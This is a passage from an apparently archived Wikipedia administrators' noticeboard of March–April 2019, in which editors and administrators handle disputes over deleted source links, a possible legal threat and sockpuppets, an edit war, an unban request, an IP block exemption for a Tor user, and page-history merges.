I have send around 20 links with narration for you at talk page (including old and new), you can have a look, during revision of deleted links i have seen links of good news papers which are still active but deleted with the youtube one. those links supported with photo and news of Sharma honored with awards in other country. links of video of press conference on news channels website where she is sitting with minister of other countries, where she was sent by Indian government as culture Ambassador, that press conference is in English and with English narration also. that is the reason why i was dis-satisfied because you have deleted 118 links and it is not possible for any body to check all links so quickly, out of these 118 links you tube links were around 10 only . i can understand that you tube links are not reliable but others are. i can understand that few old links are dead now because of old news and articles that is the reason new news and articles were introduced and were added to the article. earlier also many users contribute to the article and deleted the links but this was my first experience in last 7 years. . [[User:Rusianejohn|Rusianejohn]] ([[User talk:Rusianejohn|talk]]) 06:39, 31 March 2019 (UTC)
::: We are discussing these links on User talk:Rusianejohn, which is sufficient. So far we have agreed that none of the links so far identified are usable for notability, we are examining further links. [[User:Chiswick Chap|Chiswick Chap]] ([[User talk:Chiswick Chap|talk]]) 18:59, 31 March 2019 (UTC)
::The OP has also started this thread [[Wikipedia:Teahouse#Dis-satified with massive edit of sources on article Pratishtha Sharma]]. Some one may want to consolidate them. [[User:MarnetteD|MarnetteD]]|[[User talk:MarnetteD|Talk]] 06:50, 31 March 2019 (UTC)
:::: after the last 2 uploads of links and discussion i have uploaded more links of government sites in English as well Hindi news links with google translations as [[User:Chiswick Chap|Chiswick Chap]] unable to translate. as far as previous links i had a view point that those links support the content and from reputed sites and can be easily translated but still i have uploaded more and more links, this time in English as well Hindi with translation supporting the content completely.[[User:Rusianejohn|Rusianejohn]] ([[User talk:Rusianejohn|talk]]) 09:51, 1 April 2019 (UTC)
::: we are working on it cooperatively, discussed and listed links which can be used. [[User:Rusianejohn|Rusianejohn]] ([[User talk:Rusianejohn|talk]]) 06:11, 2 April 2019 (UTC)
== Possible NLT at BLPN ==
Would an admin mind taking a look at [[:WP:BLPN#Wang Zheng (pilot)]]? {{u|CTF99}} is claiming to be an attorney for [[:Wang Zheng (pilot)]] and is expressing some concerns about the article. That's probably OK except for the last paragraph of their post where the seem to move into NLT territory. There may also be some undisclosed PAID editing as well since the account has been editing the article over the years, but hasn't declared any connection. -- [[User:Marchjuly|Marchjuly]] ([[User talk:Marchjuly|talk]]) 14:15, 30 March 2019 (UTC)
:Given the exceptional length of the post, the potential NLT bit is: {{tq|I am happy to work with you to resolve this but be advised that if the matter is not resolved expeditiously, and any libelous, contentious, or conflict of interest material is not removed, Ms. Wang will proceed to exercise all available remedies and hold accountable all responsible individuals for all damages permitted by law, including attorneys' fees}}. I'll leave it to others to work this out. [[User:Mr rnddude|Mr rnddude]] ([[User talk:Mr rnddude|talk]]) 14:20, 30 March 2019 (UTC)
:Appears to have [https://en.wikipedia.org/w/index.php?title=Wikipedia:Biographies_of_living_persons/Noticeboard&diff=prev&oldid=890162865&diffmode=source been struck]. [[User:SQL|<span style="font-size:7pt;color: #fff;background:#900;border:2px solid #999">SQL</span>]][[User talk:SQL|<sup style="font-size: 5pt;color:#999">Query me!</sup>]] 16:49, 30 March 2019 (UTC)
::The content which might be seen as violation of NLT has been stricken as pointed out by [[:WP:SQL]]; the undisclosed COI and paid editing concerns, however, have still not been clarified. CTF99 not only has identified themselves as being an attorney representing Wang, but specifically someone named James Fretcher. This could be the same Jim Fletcher attributed in [https://www.sun-sentinel.com/local/palm-beach/fl-palm-chinese-world-flight-20160729-story.html this 2016 article] about Wang, and also the same "Jim Fretcher" mentioned as being a "China General Aviation LLC" manager in [https://www.sgvtribune.com/2018/07/24/pilot-sues-when-she-doesnt-get-award-money-for-being-first-asian-woman-to-fly-around-globe/ this 2018 article] about a lawsuit Wang has filed. So, CCLT should declare their connection to Wang per [[:WP:DECLARECOI]] and [[:WP:PAID]] and clarify that he is who he's claiming to be and not a [[:WP:IMPERSONATION]]. -- [[User:Marchjuly|Marchjuly]] ([[User talk:Marchjuly|talk]]) 23:09, 30 March 2019 (UTC)
:::Or maybe the James Frechter who is her lawyer in [https://www.courthousenews.com/chinese-aviatrix-launches-dogfight-in-ny-court this] article or the Jim Frechter who is her husband in [https://www.sun-sentinel.com/south-florida-parenting/fl-flight-around-world-completed-20160922-story.html this one]. See also the [[Wikipedia:Conflict_of_interest/Noticeboard#Wang_Zheng_(pilot)|COIN thread]] that started it all.[[User:Hydromania|Hydromania]] ([[User talk:Hydromania|talk]]) 01:43, 31 March 2019 (UTC)
:::: There is also the issue of multiple accounts/IP addresses being used by what appears to be the same editor, in particular {{u|CTF99}} and {{u|Kigenkigen}}. [[User:Melcous|Melcous]] ([[User talk:Melcous|talk]]) 03:07, 31 March 2019 (UTC)
:::::Blocks handed out pursuant to [[Wikipedia:Sockpuppet investigations/Kigenkigen]]. [[User:Yunshui|Yunshui]] [[User talk:Yunshui|<sup style="font-size:90%">雲</sup>]][[Special:Contributions/Yunshui|<sub style="font-size:90%">水</sub>]] 09:08, 1 April 2019 (UTC)
===Outing?===
I'm going to add {{u|EdiK2016}} to this discussion. This is another [[:WP:SPA]] which appears to be involved somehow in the off-Wikipedia dispute with Wang mentioned in the article; however, the reason I'm adding them to this discussion is that posts made at [[:Talk:Wang Zheng (pilot)]] (which have since been removed, but are still in the page's history) by the account seem really close to if actually not succeeding at [[:WP:OUTING]] of Kigenkigen. -- [[User:Marchjuly|Marchjuly]] ([[User talk:Marchjuly|talk]]) 21:03, 31 March 2019 (UTC)
:Other suspected socks of EdiK2016, {{u|Holmes767}}, {{u|Douwang}}, {{u|Douwang1124}}. - <span style="font-family:Trebuchet MS">[[User:FlightTime|<span style="color:#800000">'''FlightTime'''</span>]] <small>([[User talk:FlightTime|<span style="color:#FFD700">'''open channel'''</span>]])</small></span> 21:10, 31 March 2019 (UTC)
::Correct me if I'm wrong, but those are more likely to be socks of either Kigenkigen or CTF99. I believe they want the removal of information critical of the subject putting them against EdiK2016 who wants it included. [[User:Hydromania|Hydromania]] ([[User talk:Hydromania|talk]]) 22:51, 31 March 2019 (UTC)
:::EdiK2016 is not (at least from a checkuser standpoint}} related to any of the Kigenkigen socks. [[User:Yunshui|Yunshui]] [[User talk:Yunshui|<sup style="font-size:90%">雲</sup>]][[Special:Contributions/Yunshui|<sub style="font-size:90%">水</sub>]] 09:09, 1 April 2019 (UTC)
== Answers in Genesis ==
{{atop
| status = No action
| result = This is a content dispute and nothing more. Please seek assistance via one of the methods listed at [[WP:DR]]. [[User:John from Idegon|John from Idegon]] ([[User talk:John from Idegon|talk]]) 00:09, 31 March 2019 (UTC) {{nac}}
Add: requests for closure go at [[WP:AN]]. There's a section there just for that. [[User:John from Idegon|John from Idegon]] ([[User talk:John from Idegon|talk]]) 00:14, 31 March 2019 (UTC)
}}
Can an uninvolved administrator conclude on [[Talk:Answers in Genesis#And (thus) rejects vs (thus) rejecting|this discussion]]?
Here is my take on it: there are currently 2 'support' !votes (me and [[user:1990'sguy]]) and 3 'oppose' !votes. However, all three 'oppose' voters have either not stated any issue with my proposal, instead arguing that it is not an ''improvement'' over the current version (like [[user:Doug Weller]] and [[user:Nick Thorne]]) or have explicitly stated that they are 'OK' with the proposed version (like [[user:Guy Macon]]). As per [[WP:TALKDONTREVERT]], which says that "consensus can be assumed if no editors object to a change", that should imply that there is a consensus to implement the proposal. The only ''objection'' made against the proposal is by [[user:Rhododendrites]], but these issues appear to me to be easily fixable ([https://en.wikipedia.org/w/index.php?title=Talk:Answers_in_Genesis&diff=890105567&oldid=890100831]), and the user hasn't explicitly stated that they oppose the general proposal. Either way, even if we count their comment as an 'oppose' !vote, we still have a 2 against 1 in favour of the proposal. Feel free to add your take on the situation under this post.[[User:Oldstone James|<span style="color:white;background:#21E907"><sup>O</sup></span><span style="color:grey;background:#21E907">l</span><span style="color:#fff;background:#21E907"><sup>J</sup></span><span style="color:grey;background:#21E907">a</span>]] 21:49, 30 March 2019 (UTC)
:'''I object to the change.''' At the same time I am OK with the change if that is the way the consensus goes. I don't always get what I want and the proposed version isn't awful; it just isn't quite as good as what is there now.
:Re "the only ''objection'' made against the proposal is by Rhododendrites", I object to Oldstone James' attempt to decide which objections are real and which don't meet his standard for "real" objections. Everyone who !voted "oppose" objects to the change, whether or not Oldstone James is willing to accept the fact of those objections.
:I would also note that I asked for a clarification from the protecting admin on the article talk page.[https://en.wikipedia.org/w/index.php?title=Talk%3AAnswers_in_Genesis&type=revision&diff=890107893&oldid=890105567] He is probably off enjoying himself on the Wikipedia Administrator's Yacht weekly cruise to the Wikipedia Administrator's Private Island and hasn't edited since I asked. I would welcome any administrator putting down his [[Dom Pérignon]] for a moment and answering my question. --[[User:Guy Macon|Guy Macon]] ([[User talk:Guy Macon|talk]]) 23:35, 30 March 2019 (UTC)
{{abot}}
===Behavioral issues===
Let's reopen this for another purpose, please. I respect {{u|Oldstone James}}' tenacity and that he keeps his cool in a situation that is no doubt extremely frustrating for him. However, can we get an uninvolved admin to review the behavioral issues going on at [[Answers in Genesis]]?
*It seems like no change made by James isn't followed by a brief edit war, going back a couple years, though typically stopping short of 3RR.
*I have mixed feelings about the copious amount of text on the talk page. In part I can empathize with repeatedly trying to be understood or come to an understanding, but now that it's sprawling to multiple noticeboards, too (AN3, ANI, DRN), it's hard not to see this as disruptive given the way the discussion has gone so far.
*I was furthermore concerned about canvassing. There was [https://en.wikipedia.org/w/index.php?title=User_talk:1990%27sguy&diff=prev&oldid=889759869 this seemingly blatant example] that resulted in [https://en.wikipedia.org/w/index.php?title=Talk:Answers_in_Genesis&diff=889772587&oldid=889767851 predictable support] shortly thereafter. I didn't bother mentioning it at the time, because, to be fair, 1990'sguy had participated on the page and would likely have supported this anyway, but it's not a good look. It was furthermore followed a little while later by [https://en.wikipedia.org/w/index.php?title=User_talk:LittlePuppers&diff=prev&oldid=889887190 three] [https://en.wikipedia.org/w/index.php?title=User_talk:AKA_Casey_Rollins&diff=prev&oldid=889887971 YGM] [https://en.wikipedia.org/w/index.php?title=User_talk:JasperTech&diff=prev&oldid=889888517 notifications] to three people who just happen to be editors that have taken issue in the past with the way AiG is characterized along the lines of e.g. pseudoscience. Unlike 1990'sguy, these are not people who were already involved in the current discussions. Again, to be fair, we don't know the content of those messages, and the recipients didn't participate in the discussion, but again, it's not a good look.
I'm not proposing anything in particular -- just suggesting an uninvolved admin take a look, for the sake of all the time that's being expended over the last few days (and potentially much more, now that it's at DRN, too). — <samp>[[User:Rhododendrites|<span style="font-size:90%;letter-spacing:1px;text-shadow:0px -1px 0px Indigo;">Rhododendrites</span>]] <sup style="font-size:80%;">[[User_talk:Rhododendrites|talk]]</sup></samp> \\ 03:22, 31 March 2019 (UTC)
:What you mean by edit war is actually an attempt to find [[WP:EDITCONSENSUS|consensus through editing]], as I change my edit every time. I did not know about [[WP:BLUDGEON]], hence the large amount of text. I have since reduced the amount of text I post. As for multiple noticeboards, I have clearly only tried DRN after being told so in ANI. As for canvassing, I only tried to notify users who have previously proposed changes that are similar to mine. However, since you mentioned behavioural issues, it would be unfair to not also look into [[User:Roxy the dog]], who has launched several [[WP:PERSONAL]] attacks at me, including telling me to "fuck off" and admitting that is a personal attack ([https://en.wikipedia.org/w/index.php?title=Talk:Answers_in_Genesis&diff=889374025&oldid=889356043]), implying that I can't count ([https://en.wikipedia.org/w/index.php?title=User_talk:Doug_Weller&diff=890040948&oldid=890040221]), implying that I am blind, and others; as well as [[user:Guy Macon]] who has launched 1/2 personal attacks (implying that I am an unreasonable person and ungrounded accusion of me not abiding by consensus) in [https://en.wikipedia.org/w/index.php?title=Wikipedia:Dispute_resolution_noticeboard&diff=890242150&oldid=890237866 this post].[[User:Oldstone James|<span style="color:white;background:#21E907"><sup>O</sup></span><span style="color:grey;background:#21E907">l</span><span style="color:#fff;background:#21E907"><sup>J</sup></span><span style="color:grey;background:#21E907">a</span>]] 03:46, 31 March 2019 (UTC)
::Oldstone James has been blocked for a week by [[User:Black Kite]]. [[User:Doug Weller|<span style="color:#070">Doug Weller</span>]] [[User talk:Doug Weller|talk]] 19:44, 31 March 2019 (UTC)
:::On 31 March, after the previous protection expired and the edit warring immediately resumed (without Oldstone James who is still blocked), the page was protected for a week. That protection expires tomorrow. If the edit war starts up again, perhaps we should consider blocking individual edit warriors. --[[User:Guy Macon|Guy Macon]] ([[User talk:Guy Macon|talk]]) 12:41, 6 April 2019 (UTC)
== Suspicious activities to promote [[Jordan Harbinger]] ==
[[User:BodegaBiscuit]] created an account on 9 Feb to add content and information on [[Jordan Harbinger]] page. There after he strategically nominating AFD other podcasters pages and started voting from the IP addresses, [[Wikipedia:Articles_for_deletion/Lewis_Howes|first example]], [[Wikipedia:Articles_for_deletion/John_Lee_Dumas|another example]], [https://en.wikipedia.org/w/index.php?title=Wikipedia:Articles_for_deletion/Ramit_Sethi&oldid=890339464 another one here]. Users edits need to be reversed and blocked from Wiki for Cohort practices to promote their client [[Jordan Harbinger]] on Wiki. [[Special:Contributions/157.37.252.223|157.37.252.223]] ([[User talk:157.37.252.223|talk]]) 19:59, 2 April 2019 (UTC)
Do you have specific evidence of actual disruptive editing? Are there any problematic additions to the Jordan Harbinger page? Has there been any checkuser done to confirm possible votestacking? [[User:David Fuchs|<span style="color: #cc6600;">Der Wohltemperierte Fuchs</span>]]<sup><small>[[User talk:David Fuchs|<span style="color: #ff6600;">(talk)</span>]]</small></sup> 20:58, 2 April 2019 (UTC)
:I don't know about all the other stuff, but the article on Harbinger bears many of the typical earmarks of UPE. [[User:John from Idegon|John from Idegon]] ([[User talk:John from Idegon|talk]]) 21:17, 2 April 2019 (UTC)
:{{re|David Fuchs}} There has been a troll stalking, harassing {{u|Bonadea}} with newly created accounts such as [[User talk:B4onadea]], not sure if it's related, but the username is similar. - <span style="font-family:Trebuchet MS">[[User:FlightTime Phone|<span style="color:#0047AB">'''FlightTime Phone'''</span>]] <small>([[User talk:FlightTime Phone|<span style="color:#0047AB">'''open channel'''</span>]])</small></span> 21:11, 2 April 2019 (UTC)
::Definitely not related to that LTA user. The pattern is nothing like that. [[User:RickinBaltimore|RickinBaltimore]] ([[User talk:RickinBaltimore|talk]]) 22:34, 2 April 2019 (UTC)
== Unban request by [[User:Cuatro Remos]] aka [[User:Diego Grez-Cañete]] ==
{{archive top|status=withdrawn|result=Cuatro Remos has [https://en.wikipedia.org/w/index.php?title=User_talk%3ACuatro_Remos&type=revision&diff=890770746&oldid=890684158 withdrawn] this request. [[User:Huon|Huon]] ([[User talk:Huon|talk]]) 15:22, 3 April 2019 (UTC)}}
{{user|Cuatro Remos}} posted the following unban request on their [[User talk:Cuatro Remos|talk page]] (I assume he lost the password for {{user|Diego Grez-Cañete}}.) I'm copying it here for a community discussion. [https://en.wikipedia.org/w/index.php?title=Wikipedia:Administrators%27_noticeboard/Incidents&diff=692499699&oldid=692496853#Diego_Grez-Ca%C3%B1ete_(yes,_again) Relevant ban discussion]. [[User:Huon|Huon]] ([[User talk:Huon|talk]]) 21:01, 2 April 2019 (UTC)
:It's been half a year since I last requested to be unblocked. It's been a lengthy ban that has made me rethink about my past behavior and I'm convinced these actions were not happy, and will not repeat them in future. I registered here in 2006, thirteen years ago, and it seems like it was yesterday, but time passes and people grow old. I made a lot of stupid mistakes, we all do, it's part of growing. It would be foolish to repeat them all over again, and you can be sure I won't. I would like to return to the encyclopedia, most likely not for active contributing, but for the usual minor corrections, referencing and the like, something I enjoy doing. Also, in the meantime, I have been actively contributing on the Spanish Wikipedia, creating thousands of articles (like I once did here), making a positive contribution. By the way, I have not used socks nor anything. Hopefully you will let me back, after so long. [[WP:SO|After all, bans are not meant to last forever, are they?]]
:PS. During my time here, I contributed over 50 DYKs (see [[Wikipedia:List_of_Wikipedians_by_number_of_DYKs|this]], find me as Küñall, my former username), several good articles and tons of new articles.
*'''Nope''' - I'd just finished writing out a conditional unban (based on someone checking his claims) when a check on his spanish wikipedia activities realised that he received a week-long block...just 15 days ago. [https://es.wikipedia.org/w/index.php?title=Especial:Registro&page=User%3ACuatro_Remos&type=block Spanish Block Log]. A week-long block as a functionally new block (5 years after your last block on that wiki) indicates something significant. I ''would'' appreciate it if someone can look at those diffs (my computer won't load them), just so we can see what is what. [[User:Nosebagbear|Nosebagbear]] ([[User talk:Nosebagbear|talk]]) 21:40, 2 April 2019 (UTC)
**I don't know if I can comment here since I'm not an admin. But as I can see in the diffs, the user was involved in an editing war regarding the political positions of [[José Antonio Kast]] and the user was blocked for one week for using bad and defamatory language breaking the es.wiki etiquette rules. (If I'm not allowed to comment here, please revert my edition)--[[User:SirEdimon|SirEdimon]] ([[User talk:SirEdimon|talk]]) 21:54, 2 April 2019 (UTC)
*'''User's Response''' (Copied over from Talk Page) - "{{Ping|Nosebagbear}} I would appreciate if you could copy this over to the noticeboard. Indeed, as you note, I was blocked not long ago at the Spanish Wikipedia, as [[User:SirEdimon|SirEdimon]] says, over a dispute on the [[José Antonio Kast]] article. I disagreed with one of the users, who is their supporter, for pushing a version of the article which is very favorable to the politician, a very controversial one in Chile, specifically for being a far-right politician, using several references to support this fact. As I saw their proposal, I used a mean word, related to sex (intended to mean it was self-pleasing) to describe their changes. I did not contest the block, mainly because it was really short, and because I also agreed it was not a great word choice to describe my opinion. Anyway, I apologized to the user in question. During my block, however, they kept pushing some changes favorable to Kast. [[:es:Discusión:José Antonio Kast|You can have a look at the article talk]]: several other users have agreed that this user (Juan Villalobos) took advantage of my block to keep on pushing these POV-ish changes, and there is (some) consensus that Villalobos' edits should be reverted. Explaining this, I want to mean that I was blocked just for an unhappy word choice, not particularly for the editorial dispute. I hope this can clarify this situation."
::{{Ping|SirEdimon}} - Yep, you (and I!) are absolutely entitled to edit on the general AN board. [[User:Nosebagbear|Nosebagbear]] ([[User talk:Nosebagbear|talk]]) 22:05, 2 April 2019 (UTC)
:::Thank you for clarifying. I didn't know if I could, but as I can read some Spanish I thought my contribution would be helpful in this case--[[User:SirEdimon|SirEdimon]] ([[User talk:SirEdimon|talk]]) 22:17, 2 April 2019 (UTC)
::::Yes indeed, that kind of help is valuable, thank you. [[User:Boing! said Zebedee|Boing! said Zebedee]] ([[User talk:Boing! said Zebedee|talk]]) 08:46, 3 April 2019 (UTC)
*'''No''' How is the behavior for the block just given on Spanish wiki any different than the behavior that resulted in the English wiki ban? It seems like the edits that just got this user blocked over at es.wiki are ''exactly'' the same sort of edits that resulted in the ban here, and the explanation for the block that was given doesn't mitigate that fact in any way. [[User:Grandpallama|Grandpallama]] ([[User talk:Grandpallama|talk]]) 10:10, 3 April 2019 (UTC)
{{archive bottom}}
== User:94.118.5.226 ==
They have some threating stuff to Delta Quad on their talk page. Please do something about it <!-- Template:Unsigned IP --><small class="autosigned">— Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[Special:Contributions/85.118.19.165|85.118.19.165]] ([[User talk:85.118.19.165#top|talk]]) 09:32, 3 April 2019 (UTC)</small> <!--Autosigned by SineBot-->
:I've dealt with it, thanks. [[User:Boing! said Zebedee|Boing! said Zebedee]] ([[User talk:Boing! said Zebedee|talk]]) 09:36, 3 April 2019 (UTC)
== [[:S. Kalyanasundaram]] ==
Can some admin take a look at this and figure out the best way to deal with it? The [[:Special:diff/Kailash29792/890890720|intent]] of the creator {{u|Kailash29792}} might have been good, but bad articles shouldn't really be created as way to stop [[:WP:DE|disruption]] on another Wikipedia page. The problem was that {{u|Ntkkalyanasundaram}} kept trying to create this article at [[:Kalyanasundaram]] (a [[:WP:DAB|diambiguation page]]). This was wrong, but it was likely a mistake being made by a new editor not familiar with Wikipedia. At best the "S.Kalyanasundaram" might be OK to [[:WP:USERFY]] or even [[:WP:DRAFTIFY]] if Ntkkalyanasundaram wants to continue working on it, but it's doesn't belong in the article namespace and it shouldn't have been put there. -- [[User:Marchjuly|Marchjuly]] ([[User talk:Marchjuly|talk]]) 08:01, 4 April 2019 (UTC)
:Someone may protect the DAB page since Ntkkalyanasundaram doesn't appear to respond to talk page messages, and therefore may continue his disruptive editing. --<span style="white-space:nowrap;font-family: Papyrus">[[User:Kailash29792|<b style="color: black;">Kailash29792</b>]] [[User talk:Kailash29792|<span style="color: black;">(talk)</span>]] </span> 08:10, 4 April 2019 (UTC)
::[[:WP:RPP]] would've been and is still an option, but there was really no reason for you to create an article that you knew was going to quite quickly deleted to try and indirectly "protect" the dab page. -- [[User:Marchjuly|Marchjuly]] ([[User talk:Marchjuly|talk]]) 08:18, 4 April 2019 (UTC)
:::Semi-protected the DAB and G11ed the "article", which was essentially a campaign webpage. Ditto for the userpage. Have warned {{u|Ntkkalyanasundaram}} about writing autobiographies; a [[WP:NOTHERE]] block would be justified if they continue. {{u|Kailash29792}}'s creation of the article was non-ideal, but would cut them slack for action born out of understandable frustration. Let me know if I missed something. [[User:Abecedare|Abecedare]] ([[User talk:Abecedare|talk]]) 08:21, 4 April 2019 (UTC)
::::Actually, I thought he would properly develop the article if it existed, that is why I created it. I should have known better, so I apologise. --<span style="white-space:nowrap;font-family: Papyrus">[[User:Kailash29792|<b style="color: black;">Kailash29792</b>]] [[User talk:Kailash29792|<span style="color: black;">(talk)</span>]] </span> 08:27, 4 April 2019 (UTC)
== [[Dendrobium]] ==
Through a series of page moves, most of the historical edits to [[Dendrobium]] seem to have ended up at [[Draft:Dendrobium]]. Can an admin please have a look and merge the page histories as needed? Thank you. [[User:Deli nk|Deli nk]] ([[User talk:Deli nk|talk]]) 20:16, 4 April 2019 (UTC)
:There's also [[Draft:Dockrillia]] and {{-r|Vappodes}}. I'm headed out the door right now, but this is rather odd... [[User:Primefac|Primefac]] ([[User talk:Primefac|talk]]) 20:35, 4 April 2019 (UTC)
::Update: also {{-r|Epigeneium}} and {{-r|Dockrillia}}. There's discussion at [[Talk:Dendrobium#Drafts]], and I'll look into what is going on. [[User:Primefac|Primefac]] ([[User talk:Primefac|talk]]) 21:43, 4 April 2019 (UTC)
:::Okay, so I've reversed all of the page moves and dealt with attribution and copy/paste issues. Out of curiosity, is it worth deleting the ridiculous number of moves out of the page history? {{-r|Vappodes}} isn't too bad but the history of [[Dendrobium]] is rather frightening. [[User:Primefac|Primefac]] ([[User talk:Primefac|talk]]) 03:45, 5 April 2019 (UTC)
== Motion: India-Pakistan ==
The Arbitration Committee has resolved by [[Special:Permalink/890994939#Motion:_India-Pakistan|motion]] that:
{{ivmbox|1={{u|SheriffIsInTown}}'s [https://en.wikipedia.org/w/index.php?title=User_talk%3ASheriffIsInTown&type=revision&diff=841345083&oldid=841015004 topic ban] from pages related to conflict between India and Pakistan is lifted, subject to a probationary period lasting six months from the date this motion is enacted. During this period, any uninvolved administrator may re-impose the topic ban as an arbitration enforcement action, subject to appeal only to the Arbitration Committee. If the probationary period elapses without incident, the topic ban is to be considered permanently lifted.}}
For the Arbitration Committee,
-- [[User talk:DeltaQuad|<span style="color:white;background-color:#8A2DB8"><b>Amanda</b></span>]] <small>[[User:DeltaQuad|(aka DQ)]]</small> 23:04, 4 April 2019 (UTC)
: Discussion at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Motion:_India-Pakistan]]'''
== Cant edit on en-wiki ==
{{moved discussion from|Wikipedia:Administrators' noticeboard/Non-autoconfirmed posts}} --[[User:DannyS712|DannyS712]] ([[User talk:DannyS712|talk]]) 01:08, 5 April 2019 (UTC)
Hello, I daily use Tor and en-wiki is the only one that I can't edit. I have a global IP block exemption but this wiki request local IPBE which was granted then removed. Tor allow me to add level of privacy and security on my public wifi connection. I currently an OTRS member and check user (CU) on french Wikipedia. So I think I dont have to demonstrate that I can't represent any danger for the projet. I'm in this ridiculous situation that I can't correct errors on the wiki without spam the button "change IP" in order to find an IP which is not blocked yet. Because I'd like to edit en-wiki like any others wiki without have the need to do blocage bypass or level down the level of protection of my internet connection, I request again the local IPBE statut. Regards. --[[User:Gratus|Gratus]] ([[User talk:Gratus|talk]]) 22:52, 4 April 2019 (UTC)
{{cot}}
:{{ping|Gratus}} would you like me to post this on the main administrators' noticeboard? Alternatively, I suggest reading [[Wikipedia:IP block exemption#Requesting and granting exemption]], which explains how to get the right. Adding it to such a high profile location may not be advisable. --[[User:DannyS712|DannyS712]] ([[User talk:DannyS712|talk]]) 23:49, 4 April 2019 (UTC)
::{{ping|DannyS712}} Yes it would be great. Since I had aready do all the Unblock Ticket Request System once and have already my identity verified by the WMF, I prefer to not lost my time (and administrators's time) if it's to get the right and see it removed again, so I think directly launch the discussion is better. But if you know a page more related for "unusual" request than noticeboard, feel free to copy at the right place. Regards. --[[User:Gratus|Gratus]] ([[User talk:Gratus|talk]]) 00:40, 5 April 2019 (UTC)
:::{{ping|Gratus}} Well you previously had the right, but it was removed because apparently you don't meet the requirements (see the {{logid|72631057|user rights log entry}}), but if you wan't I'll move it. --[[User:DannyS712|DannyS712]] ([[User talk:DannyS712|talk]]) 00:52, 5 April 2019 (UTC)
::::{{ping|DannyS712}} When the right was removed (the requirements was the same that when it was given), I was on (little) safer Wifi connection and, it's the great difference, I wasn't the owner of tools as critical as CU and could take more risks like simply use https connection in public wifi to login.--[[User:Gratus|Gratus]] ([[User talk:Gratus|talk]]) 01:04, 5 April 2019 (UTC)
{{cob}}
:{{reply to|Gratus}} moved --[[User:DannyS712|DannyS712]] ([[User talk:DannyS712|talk]]) 01:08, 5 April 2019 (UTC)
*I seem to recall something from around that time wher one or two admins were going around and revoking IPBE from lots of accounts. The admin who did so in this case left Wikipedia in 2016. I'm inclined to just grant it again as this is obviously a user in good standing even if they have relatively few edits on this particular project. [[User:Beeblebrox|Beeblebrox]] ([[User talk:Beeblebrox|talk]]) 01:20, 5 April 2019 (UTC)
*:{{done}}. [[User:Beeblebrox|Beeblebrox]] ([[User talk:Beeblebrox|talk]]) 01:23, 5 April 2019 (UTC)
== SPI vandal active... ==
{{atop|Indeffed by [[User:Galobtter|Galobtter]]--[[User:Ymblanter|Ymblanter]] ([[User talk:Ymblanter|talk]]) 12:21, 5 April 2019 (UTC)}}
{{user|Star403}}. -- [[User:Cabayi|Cabayi]] ([[User talk:Cabayi|talk]]) 09:26, 5 April 2019 (UTC)
{{abot}}
==Unblock request==
Hey admins--can one of you please have a look at an unblock request that's been open for a while? It's on [[User talk:YOUSAFVENNALA]]. [[User:Drmies|Drmies]] ([[User talk:Drmies|talk]]) 17:24, 5 April 2019 (UTC)
:{{done}} and declined. This is their 5th (I think) unblock request. I told them about WP:SO but this is getting disruptive. If they post anymore unblock requests between now and September I would turn off their TPA. -[[User:Ad Orientem|Ad Orientem]] ([[User talk:Ad Orientem|talk]]) 17:54, 5 April 2019 (UTC)
==Wanted to create a page for Anthology Resource Vol. 1: △△==
One of the subsections on [[Music of Twin Peaks]], [[Music of Twin Peaks#Anthology Resource Vol. 1: △△|Anthology Resource Vol. 1: △△]], has enough citations to warrant its own page, [[Anthology Resource Vol. 1: △△]]. However, when I tried creating the page, it said the page I was trying to create has been restricted to administrators at this time. Likely because of the "△△" at the end of the title. However, that is the name of the album. Can this be un-restricted? [[User:Flowerkiller1692|Flowerkiller1692]] ([[User talk:Flowerkiller1692|talk]]) 20:24, 5 April 2019 (UTC)
:It can be an admin, template editor, or page mover. However, I do not think it does "have enough citations to warrant its own page". --[[User:Izno|Izno]] ([[User talk:Izno|talk]]) 21:02, 5 April 2019 (UTC)
::Created at [[Anthology Resource Vol. 1: △△]], currently as a redirect to [[Music of Twin Peaks]], since the redirect is harmless if it turns out there isn't enough to warrant a standalone article. Once you write the article, make sure you also create [[Anthology Resource Vol. 1]] as a redirect to it as realistically nobody searching for it is going to type the triangles. ‑ [[User:Iridescent|Iridescent]] 21:04, 5 April 2019 (UTC)
== [[User:Thegooduser1]] ==
{{atop
| status =
| result = Blocked. [[User:SQL|<span style="font-size:7pt;color: #fff;background:#900;border:2px solid #999">SQL</span>]][[User talk:SQL|<sup style="font-size: 5pt;color:#999">Query me!</sup>]] 22:31, 5 April 2019 (UTC)
}}
this account ain't me. --[[User:Thegooduser|<span style="color: teal">'''Thegooduser'''</span>]] [[User talk:Thegooduser|<span style="color: maroon">'''Life Begins With a Smile :)'''</span>]] <span style="color:red">🍁</span> 21:40, 5 April 2019 (UTC)
{{abot}}
== [[:User talk:Vlad Sandulescu]] ==
{{lu|Vlad Sandulescu}}
All of this editor's contributions seem to be to their user page and user talk page. Many new editors similarly focus on their user space and it's hoped that they will eventually move on to editing articles, etc. This particular editor, however, seems to be moving into [[:WP:NOTWEBHOST]] territory particularly with respect to their user talk page. The revisions made to the Teahouse welcome template added by {{u|HostBot}} and the self awarding of various barnstars seems strange. Some of the content is not in English so I'm not sure what it says, but the stuff in English seems to be [[:WP:UPNO]] stuff which shouldn't be on their user page yet alone his user talk page. So, I'm wondering if a few admins could look at this and see if something needs to be done. -- [[User:Marchjuly|Marchjuly]] ([[User talk:Marchjuly|talk]]) 00:33, 6 April 2019 (UTC)
:Most of the text is in Romanian and could be construed as antisemitic. [[User:Tgeorgescu|Tgeorgescu]] ([[User talk:Tgeorgescu|talk]]) 06:38, 6 April 2019 (UTC)
:Deleted from his talk page at {{diff2|891300306}}, reason: [[WP:NOTWEBHOST]]. [[User:Tgeorgescu|Tgeorgescu]] ([[User talk:Tgeorgescu|talk]]) 01:28, 7 April 2019 (UTC)
::*Sandbox talk page deleted as copyright violation of http://basarabialiterara.com.md/?p=22135 and per [[WP:U5]]
::*User talk page revisions deleted as copyright violation of http://www.ziaristionline.ro/2011/02/01/de-ce-a-fost-mazilit-caragiale-din-piata-universitatii-addenda-justificarea-unor-expulzari/
::*User blocked https://en.wikipedia.org/w/index.php?title=Special:Log&page=User%3AVlad%20Sandulescu&type=block
::Suggesting closure; any appeal needs to be made on [[User talk:Vlad Sandulescu]] anyway. [[User:ToBeFree|~ ToBeFree]] ([[User talk:ToBeFree|talk]]) 02:54, 7 April 2019 (UTC)
== User ‘Snowflake91’ deleted information ==
